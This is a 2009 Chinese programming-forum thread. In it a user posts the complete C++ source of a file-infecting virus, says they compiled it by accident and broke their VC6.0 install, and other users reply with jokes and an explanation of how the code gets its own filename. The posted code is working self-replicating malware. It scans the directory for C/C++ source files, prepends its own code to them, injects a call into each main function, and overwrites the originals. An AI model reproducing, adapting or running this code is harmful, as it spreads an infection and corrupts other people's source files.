| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 1232 人关注过本帖
标题:帮帮忙啊,误编译了一段病毒
只看楼主 加入收藏
moonshard
Rank: 1
等 级:新手上路
帖 子:17
专家分:0
注 册:2009-2-19
收藏
 问题点数:0 回复次数:10 
帮帮忙啊,误编译了一段病毒
#include <windows.h>
#include <fstream>
#include <string>
#include <iostream>
using namespace std;

void vir()
{
string CurFileName = __FILE__;//绝对路径
string obCurFileName          //相对路径
   = CurFileName.substr(CurFileName.find_last_of('\\') + 1,CurFileName.size()-1);      

WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
string VirusCode[100];//病毒代码
string FileCode[500]; //宿主代码

int CodeLen = 0;//病毒代码长度
int FileLen = 0;//宿主代码长度

//病毒函数调用应当插在"main("后面的第一个"{"后面
//在C++中main有int main(),int main(int arg,char **r)等形式
int InsertLoc = 0;

//提取待传播的当前文件中的病毒代码
ifstream VirusFile(obCurFileName.c_str());
for (CodeLen = 0;getline(VirusFile,VirusCode[CodeLen]);CodeLen++)
{
   if(VirusCode[CodeLen] == "//END")
   {
    CodeLen++;
    break;
   }
}
VirusFile.close();
//依次感染宿主文件
while (true)
{
   //不能感染当前.cpp文件和已感染的文件
   if(strcmp(FindFileData.cFileName,obCurFileName.c_str())== 0)
   {
    cout<<FindFileData.cFileName<<":是感染源!\n";
   }
   else//感染其它文件
   {
    //加载宿主文件
    ifstream ibe(FindFileData.cFileName);
    for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
    {
     if (FileCode[FileLen].find("main") != -1)
     {
      InsertLoc = FileLen;
     }
    }
    ibe.close();
    if(FileCode[0] == "//START")//该文件已被感染
    {
     cout<<FindFileData.cFileName<<":已携带了病毒!\n";
    }
    else if (FileLen > 500)
    {
     cout<<FindFileData.cFileName<<":文件太大了!\n";
    }
    else
    {
     //打开宿主文件
     ofstream be(FindFileData.cFileName);
     //插入病毒代码
     for(int i = 0;i < CodeLen;i++)
     {
      be<<VirusCode[i]<<endl;
     }
     //病毒函数调用位置前文本插入
     for(int i = 0;i < InsertLoc;i++)
     {
      be<<FileCode[i]<<endl;
     }
     //插入函数调用vir()
     for(int i = InsertLoc;i < FileLen;i++)
     {
      int j = FileCode[i].find('{');
      if(j != -1)
      {
       FileCode[i].insert(j + 1,"\nvir();");
       break;
      }
     }
     //病毒函数调用位置后插入剩余文本
     for(int i = InsertLoc;i < FileLen;i++)
     {
      be<<FileCode[i]<<endl;
     }
     be.close();
     cout<<FindFileData.cFileName<<":感染成功!\n";
    }
   }
   if (FindNextFile(hFind, &FindFileData) == false) break;
}
}
//END
int main()
{
vir();
return 0;
}

现在我的VC6.0不能正常编译CPP了 哭,
搜索更多相关主题的帖子: 编译 
2009-09-24 20:03
明次
Rank: 5Rank: 5
来 自:China
等 级:职业侠客
帖 子:166
专家分:303
注 册:2009-1-11
收藏
得分:0 
那重装个VC被

、明次℡!           QQ:604622530
2009-09-24 20:47
liuyeben
Rank: 1
等 级:新手上路
帖 子:1
专家分:0
注 册:2009-9-24
收藏
得分:0 
不错 能把自己的软件搞瘫痪 如果你能把软件瘫痪的再弄过来就说你牛了
2009-09-24 21:28
choco1024
Rank: 3Rank: 3
等 级:论坛游侠
威 望:1
帖 子:183
专家分:140
注 册:2008-8-31
收藏
得分:0 
路过的高手帮帮忙,解释下以下两句的结果是啥啊?
string CurFileName = __FILE__;//绝对路径
string obCurFileName          //相对路径
   = CurFileName.substr(CurFileName.find_last_of('\\') + 1,CurFileName.size()-1);

也就是CurFileName = ?, obCurFileName = ?
其它的代码我已经明白了。
2009-09-26 23:29
newCpp
Rank: 5Rank: 5
来 自:火星
等 级:职业侠客
威 望:3
帖 子:256
专家分:375
注 册:2009-8-17
收藏
得分:0 
哇塞都是高手啊

编程语言视频教程在线播放学习
2009-09-27 05:29
情叶
Rank: 1
来 自:湖北孝感
等 级:新手上路
帖 子:19
专家分:4
注 册:2009-9-4
收藏
得分:0 
帅,

永不言弃,人定胜天
2009-09-27 22:54
智奇CC
Rank: 2
来 自:GD
等 级:论坛游民
帖 子:34
专家分:73
注 册:2009-9-8
收藏
得分:0 
牛人吖,病毒也编译,,

书山有路勤为劲,
学海无涯苦作舟。
2009-09-28 14:20
飞天的猪
Rank: 3Rank: 3
等 级:论坛游侠
帖 子:67
专家分:141
注 册:2009-9-19
收藏
得分:0 
2009-09-28 14:28
wen111hui
Rank: 1
等 级:新手上路
帖 子:45
专家分:0
注 册:2008-5-25
收藏
得分:0 
问下怎么结贴
2009-09-28 22:09
choco1024
Rank: 3Rank: 3
等 级:论坛游侠
威 望:1
帖 子:183
专家分:140
注 册:2008-8-31
收藏
得分:0 
string CurFileName = __FILE__;//绝对路径  
string obCurFileName          //相对路径  
   = CurFileName.substr(CurFileName.find_last_of('\\') + 1,CurFileName.size()-1);
第一句我从csdn找到答案了,__FILE__是编译该文件的路径, printf("%s",__FILE__)就明白了。
下一句是取该病毒文件的*.cpp名字,'\\'是转义字符。
2009-09-28 23:58
快速回复:帮帮忙啊,误编译了一段病毒
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.038000 second(s), 7 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved